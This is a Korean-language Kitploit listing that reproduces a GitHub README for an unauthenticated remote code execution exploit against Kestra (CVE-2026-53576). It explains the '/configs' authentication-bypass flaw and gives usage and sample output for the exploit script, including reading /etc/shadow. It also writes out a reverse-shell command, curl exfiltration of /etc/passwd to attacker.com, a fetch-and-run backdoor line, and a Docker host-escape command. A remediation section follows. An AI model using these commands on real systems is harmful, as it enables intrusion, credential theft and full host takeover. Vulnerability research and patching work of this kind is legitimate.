Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-53576 — Kestra 인증되지 않은 RCE 익스플로잇 (CVE-2026-53576) | Kitploit
도구/GitHubGitHub/tamatahyt/cve-2026-53576
Authentication & AuthorizationPrivilege EscalationExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationPenetration TestingRed TeamingPayload DevelopmentContainer Escape
GitHub
252개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
tamatahyt/cve-2026-53576

CVE-2026-53576

Kestra 인증되지 않은 RCE 익스플로잇 (CVE-2026-53576)

저장소 보기

Kestra 비인증 RCE 익스플로잇 (CVE-2026-53576)

Python License Security Kestra

비인증 원격 코드 실행으로 이어지는 치명적 인증 우회

익스플로잇 • 취약점 상세 • 영향 • 해결 방안


⚠️ 면책 조항

이 도구는 교육 및 허가된 보안 테스트 목적으로만 사용됩니다.

  • 절대 소유하지 않았거나 명시적 서면 허가 없이 테스트할 수 없는 시스템에 사용하지 마십시오.
  • 절대 불법 활동에 사용하지 마십시오.
  • 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
  • 사용에 따른 책임은 전적으로 본인에게 있습니다.

📋 목차

  • 개요
  • 취약점 상세
  • 익스플로잇 사용법
  • 설치
  • 예시
  • 영향
  • 해결 방안
  • 타임라인
  • 참고 자료
  • 라이선스

🔍 개요

CVE-2026-53576은 v1.3.20 이하 Kestra OSS 버전에 존재하는 치명적인 취약점으로, 인증 필터 우회를 통해 비인증 원격 코드 실행을 허용합니다.

주요 세부 정보

속성값
CVE IDCVE-2026-53576
심각도치명적 (CVSS 9.8)
취약점 유형인증 우회 + RCE
영향을 받는 제품Kestra OSS
영향을 받는 버전≤ v1.3.20
공격 벡터네트워크
필요한 인증없음
사용자 상호작용없음

🚨 취약점 상세

근본 원인

Kestra의 인증 필터에는 치명적인 로직 결함이 있습니다:

// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

이 코드는 정확한 라우트를 매칭하는 대신 어떤 API 요청이 /configs로 끝나는지만 확인합니다. 따라서 공격자는 임의의 엔드포인트에 /configs를 덧붙여 인증을 우회할 수 있습니다.

악용 단계

  1. 악성 플로우 생성 → POST /api/v1/main/flows/configs (인증 우회)
  2. 실행 트리거 → POST /api/v1/main/executions/configs/configs (인증 우회)
  3. 루트 권한으로 명령 실행 → 전체 시스템 장악

취약한 엔드포인트

# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 익스플로잇 사용법

기본 사용법

python3 kestra_exploit.py <target_ip>

고급 사용법

# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

명령 옵션

옵션설명
target대상 IP 주소 또는 호스트 이름 (필수)
-p, --port포트 (기본값: 8080)
--httpsHTTP 대신 HTTPS 사용
-c, --command실행할 사용자 지정 명령
--docker-checkDocker 소켓 액세스 확인
--cleanup악용 후 플로우 삭제
--delay요청 간 지연 시간 (기본값: 2초)

📦 설치

요구 사항

pip install requests

저장소 복제

git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

설치 확인

python3 kestra_exploit.py --help

🎯 예시

예시 1: 기본 악용

python3 kestra_exploit.py 192.168.1.100

출력:

============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

예시 2: 리버스 셸

python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

예시 3: 데이터 유출

python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

예시 4: Docker 이스케이프 확인

python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 영향

직접적 영향

범주심각도설명
기밀성⚠️ 치명적모든 파일 읽기 (비밀번호, 비밀 값, 구성)
무결성⚠️ 치명적플로우 및 데이터 생성/수정/삭제
가용성⚠️ 높음시스템 종료, 리소스 고갈
인증⚠️ 치명적Basic-Auth 완전 우회
권한 상승⚠️ 치명적루트(uid=0) 권한으로 명령 실행
컨테이너 이스케이프⚠️ 치명적Docker 소켓을 통한 호스트 장악

공격 가능 역량

비인증 공격자는 다음을 수행할 수 있습니다:

  1. 루트 권한으로 임의 명령 실행:

    # Read secrets
    cat /app/conf/application.yml
    
    # Reverse shell
    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
    # Install malware
    curl http://attacker.com/backdoor.sh | bash
    
  2. 호스트 시스템으로 피벗 (Docker 소켓이 마운트된 경우):

    docker run -v /:/host --privileged alpine chroot /host
    
  3. 클라우드 메타데이터 접근 (클라우드 제공업체 사용 시):

    curl http://169.254.169.254/latest/meta-data/
    

🛡️ 해결 방안

즉시 조치

  1. 취약한 인스턴스 종료:

    sudo systemctl stop kestra
    
  2. 공개 액세스 차단:

    iptables -A INPUT -p tcp --dport 8080 -j DROP
    
  3. 방화벽 규칙 적용:

    • 내부 네트워크로 제한
    • 관리 액세스에 VPN 사용

영구적 해결책

  1. Kestra를 최신 패치 버전으로 업데이트:

    • 모니터링: https://github.com/kestra-io/kestra
    • 확인: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
  2. 적절한 인증 구현:

    • Basic Auth 대신 OAuth2/OIDC 사용
    • 다중 인증(MFA) 활성화
  3. 컨테이너 강화:

    • 비루트 사용자로 실행
    • /var/run/docker.sock 마운트 금지
    • 읽기 전용 루트 파일시스템 사용
  4. 네트워크 강화:

    • 적절한 라우팅이 포함된 API 게이트웨이 사용
    • WAF 규칙 구현
    • 요청 검증 활성화

📅 타임라인

날짜이벤트
2026-05-26취약점 발견
2026-06-03Kestra 보안 권고 게시
2026-06-10CVE-2026-53576 지정
2026-06-15공개 공개
2026-08-01PoC 공개

📚 참고 자료

  • Kestra 보안 권고 GHSA-2q47-568g-9h4f
  • Huawei PSIRT
  • CVE-2026-53576 상세 정보
  • OWASP Top 10 - 취약한 접근 제어

📄 라이선스

MIT License

Copyright (c) 2026 Security Researcher

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ 지원

도구 다운로드